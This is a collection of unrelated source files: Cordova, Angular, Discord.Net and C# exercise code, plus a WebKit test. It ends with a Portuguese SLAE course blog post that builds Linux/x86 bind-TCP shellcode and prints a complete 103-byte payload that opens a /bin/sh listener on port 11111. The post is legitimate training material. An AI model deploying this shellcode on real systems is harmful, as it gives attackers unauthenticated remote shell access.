text:
package org.apache.cordova;

import java.security.SecureRandom;

import org.json.JSONArray;
import org.json.JSONException;

/**
 * Contains APIs that the JS can call. All functions in here should also have
 * an equivalent entry in CordovaChromeClient.java, and be added to
 * cordova-js/lib/android/plugin/android/promptbasednativeapi.js
 */
public class CordovaBridge {
    private static final String LOG_TAG = "CordovaBridge";
    private PluginManager pluginManager;
    private NativeToJsMessageQueue jsMessageQueue;
    private volatile int expectedBridgeSecret = -1; // written by UI thread, read by JS thread.

    public CordovaBridge(PluginManager pluginManager, NativeToJsMessageQueue jsMessageQueue) {
        this.pluginManager = pluginManager;
        this.jsMessageQueue = jsMessageQueue;
    }

    public String jsExec(int bridgeSecret, String service, String action, String callbackId, String arguments) throws JSONException, IllegalAccessException {
        if (!verifySecret("exec()", bridgeSecret)) {
            return null;
        }
        // If the arguments weren't received, send a message back to JS.  It will switch bridge modes and try again.  See CB-2666.
        // We send a message meant specifically for this case.  It starts with "@" so no other message can be encoded into the same string.
        if (arguments == null) {
            return "@Null arguments.";
        }

        jsMessageQueue.setPaused(true);
        try {
            // Tell the resourceApi what thread the JS is running on.
            CordovaResourceApi.jsThread = Thread.currentThread();

            pluginManager.exec(service, action, callbackId, arguments);
            String ret = null;
            if (!NativeToJsMessageQueue.DISABLE_EXEC_CHAINING) {
                ret = jsMessageQueue.popAndEncode(false);
            }
            return ret;
        } catch (Throwable e) {
            e.printStackTrace();
            return "";
        } finally {
            jsMessageQueue.setPaused(false);
        }
    }

    public void jsSetNativeToJsBridgeMode(int bridgeSecret, int value) throws IllegalAccessException {
        if (!verifySecret("setNativeToJsBridgeMode()", bridgeSecret)) {
            return;
        }
        jsMessageQueue.setBridgeMode(value);
    }

    public String jsRetrieveJsMessages(int bridgeSecret, boolean fromOnlineEvent) throws IllegalAccessException {
        if (!verifySecret("retrieveJsMessages()", bridgeSecret)) {
            return null;
        }
        return jsMessageQueue.popAndEncode(fromOnlineEvent);
    }

    private boolean verifySecret(String action, int bridgeSecret) throws IllegalAccessException {
        if (!jsMessageQueue.isBridgeEnabled()) {
            if (bridgeSecret == -1) {
                LOG.d(LOG_TAG, action + " call made before bridge was enabled.");
            } else {
                LOG.d(LOG_TAG, "Ignoring " + action + " from previous page load.");
            }
            return false;
        }
        // Bridge secret wrong and bridge not due to it being from the previous page.
        if (expectedBridgeSecret < 0 || bridgeSecret != expectedBridgeSecret) {
            LOG.e(LOG_TAG, "Bridge access attempt with wrong secret token, possibly from malicious code. Disabling exec() bridge!");
            clearBridgeSecret();
            throw new IllegalAccessException();
        }
        return true;
    }

    /** Called on page transitions */
    void clearBridgeSecret() {
        expectedBridgeSecret = -1;
    }

    public boolean isSecretEstablished() {
        return expectedBridgeSecret != -1;
    }

    /** Called by cordova.js to initialize the bridge. */
    int generateBridgeSecret() {
        SecureRandom randGen = new SecureRandom();
        expectedBridgeSecret = randGen.nextInt(Integer.MAX_VALUE);
        return expectedBridgeSecret;
    }

    public void reset() {
        jsMessageQueue.reset();
        clearBridgeSecret();
    }

    public String promptOnJsPrompt(String origin, String message, String defaultValue) {
        if (defaultValue != null && defaultValue.length() > 3 && defaultValue.startsWith("gap:")) {
            JSONArray array;
            try {
                array = new JSONArray(defaultValue.substring(4));
                int bridgeSecret = array.getInt(0);
                String service = array.getString(1);
                String action = array.getString(2);
                String callbackId = array.getString(3);
                String r = jsExec(bridgeSecret, service, action, callbackId, message);
                return r == null ? "" : r;
            } catch (JSONException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
            return "";
        }
        // Sets the native->JS bridge mode.
        else if (defaultValue != null && defaultValue.startsWith("gap_bridge_mode:")) {
            try {
                int bridgeSecret = Integer.parseInt(defaultValue.substring(16));
                jsSetNativeToJsBridgeMode(bridgeSecret, Integer.parseInt(message));
            } catch (NumberFormatException e){
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
            return "";
        }
        // Polling for JavaScript messages
        else if (defaultValue != null && defaultValue.startsWith("gap_poll:")) {
            int bridgeSecret = Integer.parseInt(defaultValue.substring(9));
            try {
                String r = jsRetrieveJsMessages(bridgeSecret, "1".equals(message));
                return r == null ? "" : r;
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
            return "";
        }
        else if (defaultValue != null && defaultValue.startsWith("gap_init:")) {
            // Protect against random iframes being able to talk through the bridge.
            // Trust only pages which the app would have been allowed to navigate to anyway.
            if (pluginManager.shouldAllowBridgeAccess(origin)) {
                // Enable the bridge
                int bridgeMode = Integer.parseInt(defaultValue.substring(9));
                jsMessageQueue.setBridgeMode(bridgeMode);
                // Tell JS the bridge secret.
                int secret = generateBridgeSecret();
                return ""+secret;
            } else {
                LOG.e(LOG_TAG, "gap_init called from restricted origin: " + origin);
            }
            return "";
        }
        return null;
    }
}


text:
import { Component, OnInit , OnDestroy } from '@angular/core';
import { LoggedInGuard } from '../login/login.gaurd';
import { ActivatedRoute, Params, Router } from '@angular/router';
import { CommonService } from '../../providers/common.service';
import { FormGroup, FormControl, Validators } from '@angular/forms';
import { AuthService } from '../../providers/auth.service';
import { LoaderStop } from '../../providers/loaderstop.service';

declare let $: any;

@Component({
    selector: 'my-account',
    templateUrl: './account.component.html',
    styleUrls: ['./account.component.css']
})

export class AccountComponent implements OnInit, OnDestroy {
    public details: any;
    public uploadPicForm: FormGroup;
    public id:any;
    public name: any = "";
    public nickName: any;
    public picUrl: any;
    public role: any;
    public email: any;
    public url: any = "";
    public newPicTimestamp: any;
    public imgFile: any;
    public loader: boolean = false;
	public error : boolean = false;
    public resetform:FormGroup;
    public passwordMismatch:any="";
    constructor(public lg: LoggedInGuard,
        public ls : LoaderStop,
        public cs: CommonService,
        public au: AuthService,
        public router: Router,
        public route: ActivatedRoute, ) {

        this.url = this.router.url;

    }

    ngOnInit() {
        this.buildForm();
        this.loadAccountDetails(this.details);
       this.initForm();

     this.ls.setLoader(false);
    }
    ngOnDestroy(){
     this.ls.setLoader(true);
    }

    public initForm(){
         this.uploadPicForm = new FormGroup({
            imgFile: new FormControl("", [Validators.required]),

        })
    }

    mismatch:boolean=false;

  public buildForm() {
    this.resetform = new FormGroup({
      oldPassword: new FormControl('', [Validators.required]),
      newPassword: new FormControl('', [Validators.required, Validators.minLength(3)]),
      confirmPassword: new FormControl('', [Validators.required, Validators.minLength(3)]),
    }, passwordMatchValidator);
    function passwordMatchValidator(g: FormGroup) {
       return g.get('newPassword').value === g.get('confirmPassword').value ? null : {'mismatch': true};
    }
  }

    public loadAccountDetails(details: any) {

        this.name = this.lg.getData('name');
        this.nickName = this.lg.getData('nickName');
        this.role = this.lg.getData('role');
        this.email = this.lg.getData('email');
        this.picUrl = this.lg.getData('picUrl');
        this.id=this.lg.getData('id');

    }

     getFile(event: any) {
    var blob = event.srcElement.files[0];
    if(blob.type=="image/png" || blob.type=="image/jpeg" || blob.type=="image/jpg"){
      this.imgFile = event.srcElement.files[0];
    }
    else{
       $('#errorModal').modal('show');
      this.initForm();
    }
  }

    public submitAccountDetails(details: any) {
        this.loader = true;
        let formData = new FormData();
        formData.append('file', this.imgFile);
        this.au.uploadImage(formData).subscribe((res: any) => {
            localStorage.setItem('picUrl', localStorage.getItem('fileUrl') + "/" + res.fileTimestamp);
            $('#myModal').modal('hide');
            this.uploadPicForm.reset();
            this.loader = false;
        },
            err => {
                this.loader = false;
                this.router.navigate(['/error']);
            })

    }

    public resetImage(){
        this.loader=true;
        this.au.resetImage().subscribe(res=>{
        this.loader=false;
        },err=>{
            this.loader=false;
            this.router.navigate(['/error']);
        })
    }

    onclick(){
  	this.error = false;
  }
  onSubmit(){
  	this.au.resetPassword(this.resetform.value)
    .subscribe(response => {
    },err => {
        $('#mismatch').modal('show');
        setTimeout(()=>{
            $('#mismatch').modal('hide');
        },3000)
    });

  }

}

redpajama_set_name: RedPajamaGithub


text:
import re

from inferno.lib.rule import InfernoRule
from inferno.lib.rule import Keyset
from inferno.lib.rule import chunk_csv_stream

# an example field_transform
def alphanumeric(val):
    return re.sub(r'\W+', ' ', val).strip().lower()

# an example parts_preprocess that modifies the map input
def count(parts, params):
    parts['count'] = 1
    yield parts

# an example parts_preprocess that filters the map input
def candidate_filter(parts, params):
    active = [
        'P20002721',  # Santorum, Rick
        'P60003654',  # Gingrich, Newt
        'P80000748',  # Paul, Ron
        'P80003338',  # Obama, Barack
        'P80003353',  # Romney, Mitt
    ]
    if parts['cand_id'] in active:
        yield parts

# an example parts_postprocess that filters the reduce output
def occupation_count_filter(parts, params):
    if parts['count_occupation_candidate'] > 1000:
        yield parts

RULES = [
    InfernoRule(
        name='presidential_2012',
        source_tags=['gov:chunk:presidential_campaign_finance'],
        map_input_stream=chunk_csv_stream,
        partitions=1,
        field_transforms={
            'cand_nm':alphanumeric,
            'contbr_occupation':alphanumeric,
        },
        parts_preprocess=[candidate_filter, count],
        parts_postprocess=[occupation_count_filter],
        csv_fields=(
            'cmte_id', 'cand_id', 'cand_nm', 'contbr_nm', 'contbr_city',
            'contbr_st', 'contbr_zip', 'contbr_employer', 'contbr_occupation',
            'contb_receipt_amt', 'contb_receipt_dt', 'receipt_desc',
            'memo_cd', 'memo_text', 'form_tp', 'file_num',
        ),
        csv_dialect='excel',
        keysets={
            'by_candidate':Keyset(
                key_parts=['cand_nm'],
                value_parts=['count', 'contb_receipt_amt'],
                column_mappings={
                    'cand_nm': 'candidate',
                    'contb_receipt_amt': 'amount',
                },
             ),
            'by_occupation':Keyset(
                key_parts=['contbr_occupation', 'cand_nm'],
                value_parts=['count', 'contb_receipt_amt'],
                column_mappings={
                    'count': 'count_occupation_candidate',
                    'cand_nm': 'candidate',
                    'contb_receipt_amt': 'amount',
                    'contbr_occupation': 'occupation',
                },
             )
        }
    )
]


text:
<!DOCTYPE html>

<link rel="stylesheet" href="css/chat.css">

	<meta charset="UTF-8">
	<title>Live Chat</title>

	<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Droid+Sans:400,700">

Alex Kennedy

			3

						13:35

Alex Kennedy

Lorem ipsum dolor sit amet, consectetur adipisicing elit. Error, explicabo quasi ratione odio dolorum harum.

						13:37

Alex Michael Kennedy

Lorem ipsum dolor sit amet, consectetur adipisicing elit. Blanditiis, nulla accusamus magni vel debitis numquam qui tempora rem voluptatem delectus!

				<div class="chat-message clearfix"

						13:38

Alex Kennedy

Lorem ipsum dolor sit amet, consectetur adipisicing.

Your partner is typing…

			<form action="#" method="post">

				<fieldset>

					<input type="text" placeholder="Type your message…" autofocus>
					<input type="hidden">

				</fieldset>

			</form>


text:
<html>
<head>
<body>
<embed id="testPlugin" type="application/x-webkit-test-netscape" src="data:text/plain," test="null-npp-getvalue-pointer">
</embed>

<div>
    This tests that we don't crash when the plugin passes 0 for its NPP_GetValue pointer.
</div>
<script>
  if (window.testRunner)
      testRunner.dumpAsText();
</script>
</body>
</html>


text:
using System;

//Problem 16. Decimal to Hexadecimal Number
//Using loops write a program that converts an integer number to its hexadecimal representation.
//The input is entered as long. The output should be a variable of type string.
//Do not use the built-in .NET functionality.

class decToHexNumber
{
    static void Main()
    {
        Console.WriteLine("Enter decimal number:");
        ulong number = ulong.Parse(Console.ReadLine());
        bool start = false;
        char mul = ' ';
        Console.WriteLine("The hedecimal representation of the numebr is:");
        for (int i = 15; i >= 0; i--)
        {
            ulong downBoundary = (ulong)Math.Pow(16, i);

            if (downBoundary <= number)
            {
                ulong x = number / downBoundary;
                number = number - x * downBoundary;
                switch (x)
                {
                    case 0: mul = '0'; break;
                    case 1: mul = '1'; break;
                    case 2: mul = '2'; break;
                    case 3: mul = '3'; break;
                    case 4: mul = '4'; break;
                    case 5: mul = '5'; break;
                    case 6: mul = '6'; break;
                    case 7: mul = '7'; break;
                    case 8: mul = '8'; break;
                    case 9: mul = '9'; break;
                    case 10: mul = 'A'; break;
                    case 11: mul = 'B'; break;
                    case 12: mul = 'C'; break;
                    case 13: mul = 'D'; break;
                    case 14: mul = 'E'; break;
                    case 15: mul = 'F'; break;
                }
                start = true;
                Console.Write((char)mul);
            }
            else if (start)
            {
                Console.Write("0");
            }
        }
        Console.WriteLine();
    }
}


text:
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Linq;
using System.Threading.Tasks;
using Model = Discord.API.Message;

namespace Discord.Rest
{
    /// <summary>
    ///     Represents a REST-based message.
    /// </summary>
    public abstract class RestMessage : RestEntity<ulong>, IMessage, IUpdateable
    {
        private long _timestampTicks;
        private ImmutableArray<RestReaction> _reactions = ImmutableArray.Create<RestReaction>();

        /// <inheritdoc />
        public IMessageChannel Channel { get; }
        /// <summary>
        ///     Gets the Author of the message.
        /// </summary>
        public IUser Author { get; }
        /// <inheritdoc />
        public MessageSource Source { get; }

        /// <inheritdoc />
        public string Content { get; private set; }

        /// <inheritdoc />
        public DateTimeOffset CreatedAt => SnowflakeUtils.FromSnowflake(Id);
        /// <inheritdoc />
        public virtual bool IsTTS => false;
        /// <inheritdoc />
        public virtual bool IsPinned => false;
        /// <inheritdoc />
        public virtual bool IsSuppressed => false;
        /// <inheritdoc />
        public virtual DateTimeOffset? EditedTimestamp => null;
        /// <inheritdoc />
        public virtual bool MentionedEveryone => false;

        /// <summary>
        ///     Gets a collection of the <see cref="Attachment"/>'s on the message.
        /// </summary>
        public virtual IReadOnlyCollection<Attachment> Attachments => ImmutableArray.Create<Attachment>();
        /// <summary>
        ///     Gets a collection of the <see cref="Embed"/>'s on the message.
        /// </summary>
        public virtual IReadOnlyCollection<Embed> Embeds => ImmutableArray.Create<Embed>();
        /// <inheritdoc />
        public virtual IReadOnlyCollection<ulong> MentionedChannelIds => ImmutableArray.Create<ulong>();
        /// <inheritdoc />
        public virtual IReadOnlyCollection<ulong> MentionedRoleIds => ImmutableArray.Create<ulong>();
        /// <summary>
        ///     Gets a collection of the mentioned users in the message.
        /// </summary>
        public virtual IReadOnlyCollection<RestUser> MentionedUsers => ImmutableArray.Create<RestUser>();
        /// <inheritdoc />
        public virtual IReadOnlyCollection<ITag> Tags => ImmutableArray.Create<ITag>();

        /// <inheritdoc />
        public DateTimeOffset Timestamp => DateTimeUtils.FromTicks(_timestampTicks);
        /// <inheritdoc />
        public MessageActivity Activity { get; private set; }
        /// <inheritdoc />
        public MessageApplication Application { get; private set; }
        /// <inheritdoc />
        public MessageReference Reference { get; private set; }
        /// <inheritdoc />
        public MessageFlags? Flags { get; private set; }

        internal RestMessage(BaseDiscordClient discord, ulong id, IMessageChannel channel, IUser author, MessageSource source)
            : base(discord, id)
        {
            Channel = channel;
            Author = author;
            Source = source;
        }
        internal static RestMessage Create(BaseDiscordClient discord, IMessageChannel channel, IUser author, Model model)
        {
            if (model.Type == MessageType.Default || model.Type == MessageType.Reply)
                return RestUserMessage.Create(discord, channel, author, model);
            else
                return RestSystemMessage.Create(discord, channel, author, model);
        }
        internal virtual void Update(Model model)
        {
            if (model.Timestamp.IsSpecified)
                _timestampTicks = model.Timestamp.Value.UtcTicks;

            if (model.Content.IsSpecified)
                Content = model.Content.Value;

            if (model.Application.IsSpecified)
            {
                // create a new Application from the API model
                Application = new MessageApplication()
                {
                    Id = model.Application.Value.Id,
                    CoverImage = model.Application.Value.CoverImage,
                    Description = model.Application.Value.Description,
                    Icon = model.Application.Value.Icon,
                    Name = model.Application.Value.Name
                };
            }

            if (model.Activity.IsSpecified)
            {
                // create a new Activity from the API model
                Activity = new MessageActivity()
                {
                    Type = model.Activity.Value.Type.Value,
                    PartyId = model.Activity.Value.PartyId.GetValueOrDefault()
                };
            }

            if(model.Reference.IsSpecified)
            {
                // Creates a new Reference from the API model
                Reference = new MessageReference
                {
                    GuildId = model.Reference.Value.GuildId,
                    InternalChannelId = model.Reference.Value.ChannelId,
                    MessageId = model.Reference.Value.MessageId
                };
            }

            if (model.Flags.IsSpecified)
                Flags = model.Flags.Value;

            if (model.Reactions.IsSpecified)
            {
                var value = model.Reactions.Value;
                if (value.Length > 0)
                {
                    var reactions = ImmutableArray.CreateBuilder<RestReaction>(value.Length);
                    for (int i = 0; i < value.Length; i++)
                        reactions.Add(RestReaction.Create(value[i]));
                    _reactions = reactions.ToImmutable();
                }
                else
                    _reactions = ImmutableArray.Create<RestReaction>();
            }
            else
                _reactions = ImmutableArray.Create<RestReaction>();
        }

        /// <inheritdoc />
        public async Task UpdateAsync(RequestOptions options = null)
        {
            var model = await Discord.ApiClient.GetChannelMessageAsync(Channel.Id, Id, options).ConfigureAwait(false);
            Update(model);
        }
        /// <inheritdoc />
        public Task DeleteAsync(RequestOptions options = null)
            => MessageHelper.DeleteAsync(this, Discord, options);

        /// <summary>
        ///     Gets the <see cref="Content"/> of the message.
        /// </summary>
        /// <returns>
        ///     A string that is the <see cref="Content"/> of the message.
        /// </returns>
        public override string ToString() => Content;

        /// <inheritdoc />
        MessageType IMessage.Type => MessageType.Default;
        IUser IMessage.Author => Author;
        /// <inheritdoc />
        IReadOnlyCollection<IAttachment> IMessage.Attachments => Attachments;
        /// <inheritdoc />
        IReadOnlyCollection<IEmbed> IMessage.Embeds => Embeds;
        /// <inheritdoc />
        IReadOnlyCollection<ulong> IMessage.MentionedUserIds => MentionedUsers.Select(x => x.Id).ToImmutableArray();

        /// <inheritdoc />
        public IReadOnlyDictionary<IEmote, ReactionMetadata> Reactions => _reactions.ToDictionary(x => x.Emote, x => new ReactionMetadata { ReactionCount = x.Count, IsMe = x.Me });

        /// <inheritdoc />
        public Task AddReactionAsync(IEmote emote, RequestOptions options = null)
            => MessageHelper.AddReactionAsync(this, emote, Discord, options);
        /// <inheritdoc />
        public Task RemoveReactionAsync(IEmote emote, IUser user, RequestOptions options = null)
            => MessageHelper.RemoveReactionAsync(this, user.Id, emote, Discord, options);
        /// <inheritdoc />
        public Task RemoveReactionAsync(IEmote emote, ulong userId, RequestOptions options = null)
            => MessageHelper.RemoveReactionAsync(this, userId, emote, Discord, options);
        /// <inheritdoc />
        public Task RemoveAllReactionsAsync(RequestOptions options = null)
            => MessageHelper.RemoveAllReactionsAsync(this, Discord, options);
        /// <inheritdoc />
        public Task RemoveAllReactionsForEmoteAsync(IEmote emote, RequestOptions options = null)
            => MessageHelper.RemoveAllReactionsForEmoteAsync(this, emote, Discord, options);
        /// <inheritdoc />
        public IAsyncEnumerable<IReadOnlyCollection<IUser>> GetReactionUsersAsync(IEmote emote, int limit, RequestOptions options = null)
            => MessageHelper.GetReactionUsersAsync(this, emote, limit, Discord, options);
    }
}


text:
package com.lfkdsk.justel.literal;

import com.lfkdsk.justel.ast.base.AstLeaf;
import com.lfkdsk.justel.context.JustContext;
import com.lfkdsk.justel.exception.UnSupportMethodException;
import com.lfkdsk.justel.token.Token;

/**
 * Literal is an AstLeaf.
 * Literal is an wrapper of LiterToken.
 *
 * @author liufengkai
 *         Created by liufengkai on 2017/7/22.
 */
public abstract class Literal extends AstLeaf {

    public Literal(Token token) {
        super(token);
    }

    public String name() {
        return token.getText();
    }

    @Override
    public Object eval(JustContext env) {
        throw new UnSupportMethodException("Cannot call abstract literal " + token.toString());
    }
}


text:
layout: post
title: SLAE - 1st Assignment - Shell Bind TCP
date: '2013-03-16T11:28:00.000-03:00'
author: geyslan
categories: blog
excerpt: ""
tags: [slae, shellcode, linux, code, assembly, c, hacking, reverse engineering, portuguese]
share: true
modified: '2013-06-07T15:31:11.466-03:00'
blogger_id: tag:blogger.com,1999:blog-2541885528459487831.post-962410282452231765
blogger_orig_url: http://www.hackingbits.com/2013/03/slae-1st-assignment-shell-bind-tcp.html
---

Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software.
Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st
assignment do curso [SecurityTube](http://securitytube-training.com/) Linux
Assembly Expert, necessário para obtenção da certificação SLAE.

*This blog post has been created for completing the requirements of the
SecurityTube Linux Assembly Expert certification:*

*[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)*

*Student ID: SLAE-237*

*Códigos deste post estão no [GitHub](https://github.com/geyslan/SLAE/tree/master/1st.assignment)*.

*\<UPDATE\>

O [shellcode](http://www.shell-storm.org/shellcode/files/shellcode-832.php)
final foi aceito no repositório [Shell-Storm](http://www.shell-storm.org/).

Tks Jonathan Salwan.

\</UPDATE\>*

##Assembly (Mighty and Tiny)

Decidi fazer algo que já deveria ter feito há muito tempo: aprender "a
linguagem" assembly. E é que o curso do [Vivek
Ramachandran](http://www.vivekramachandran.com/) surgiu em boa hora. Com uma
didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.

###Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão.
- Tornar fácil a configuração da porta no shellcode.
- Para isso, analisar o linux/x86/shell_bind_tcp do [Metasploit](http://www.metasploit.com) usando o [libemu](http://libemu.carnivore.it).

Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é
muito bom, pois força o aprendizado.

##Desovando um Shell via TCP

Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística
GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o
payload do Metasploit.

{% highlight console %}
$ msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000
{% endhighlight %}

O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C.

{% highlight c %}
...
int dup2(int oldfd=19, int newfd=0);
[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013
[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx
...
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
{% endhighlight %}

Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual.

{% highlight console %}
$ msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
{% endhighlight %}

É gerado um arquivo dot que pode ser facilmente convertido em png.

{% highlight console %}
$ dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
{% endhighlight %}

{% include imagehb.html url="https://raw.github.com/geyslan/SLAE/master/1st.assignment/shell_bind_tcp.png" caption="Fluxograma do shell_bind_tcp" %}

Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções.
Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo
programa em C.

{% gist geyslan/5176234 %}

Eu poderia, neste ponto, analisá-lo usando o "objdump" ou mesmo o "ndisasm". Mas
ao tentar fazer isso mudei de ideia. Vejam o porquê.

{% highlight console %}
$ objdump -d -M intel shell_bind_tcp_c
...
080485bc :
80485bc: 55                     push ebp
80485bd: 89 e5                  mov ebp,esp
80485bf: 83 e4 f0               and esp,0xfffffff0
80485c2: 83 ec 50               sub esp,0x50
80485c5: 65 a1 14 00 00 00      mov eax,gs:0x14
80485cb: 89 44 24 4c            mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0                  xor eax,eax
80485d1: c7 44 24 30 67 2b 00   mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00   mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00   mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00   mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff         call 80484c0 <socket@plt>
...
{% endhighlight %}

O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do
stack (**mov DWORD PTR [esp+0x4], 0x1**), o que dificulta um pouco o processo.
Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções
chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados
na ordem inversa.

Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly.

{% gist geyslan/5174296 %}

Foi árduo, embora tenha sido muito importante para um entendimento mais
aprofundado da linguagem assembly e também dos internals do Linux. Não vou me
prender explicando o que cada instrução faz, o intuito deste post não é esse; de
toda sorte, comentei todos os códigos
([github](https://github.com/geyslan/SLAE/tree/master/1st.assignment)) para que
fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo,
seja dúvida ou crítica.

Os códigos, funcionaram perfeitamente; montei o shell_bind_tcp com todas as
syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do
google (óbvio) e no velho e sempre amigo [man](http://linux.die.net/man/1/man).

##Evitando-se SIGSEGV (Yep, Metasploit has it)

Os mais atentos já devem ter percebido que há, tanto no código C, quanto no
assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A
setsockopt.

{% highlight c %}
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
{% endhighlight %}

{% highlight asm %}
mov eax, 102            ; syscall 102 – socketcall
mov ebx, 14             ; socketcall type (sys_setsockopt 14)
{% endhighlight %}

Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da
porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou
ser-lhes sincero, após muitos debugging via gdb e consultas no google
identifiquei a origem do problema. A falha na segmentação só era produzida
quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já
existia no sistema. Mas como? Simples: esse shellcode em específico não tem como
fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um
intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o
socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o
shellcode com sucesso. E no meu humilde pensar, um shellcode é como "um
programa"; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso
acontecer :D).

O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim,
aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é
reutilizado na nova instância. E sem falhas.

Essa minha implementação me deixou muito contente, uma vez que após estudar
alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não
encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em
outro que também use a setsockopt?). E entendo que há quase uma disputa para se
construírem shellcodes com o menor número de bytes possível, no entanto, não
devemos esquecer da integridade do fluxo do programa.

##Enxugando o Shellcode (smallest as possible)

###Extraindo os opcodes do meu shell_bind_tcp (asm)

{% highlight console %}
$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00

"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"

$ echo -n "\xb8\x66...\xcd\x80" | wc -m
720
{% endhighlight %}

**720 / 4 = 180 bytes**

Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180
bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de
instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre
os registradores e instruções, remontei-o.

{% gist geyslan/5176409 %}

E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor
forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem
no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar
o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode,
o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in
(argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na
pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode,
valeu a pena.

A versão final ficou com 103 bytes, um tamanho aceitável para os atributos
adicionados: porta +2 bytes e O_REUSEADDR +15 bytes.

**"\x66\xbd"

"\x2b\x67" /\* <- Port number 11111 (2 bytes) \*/

"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"

"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"

"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"

"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"

"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"

"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"

"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"

"\x53\xeb\xa8";**

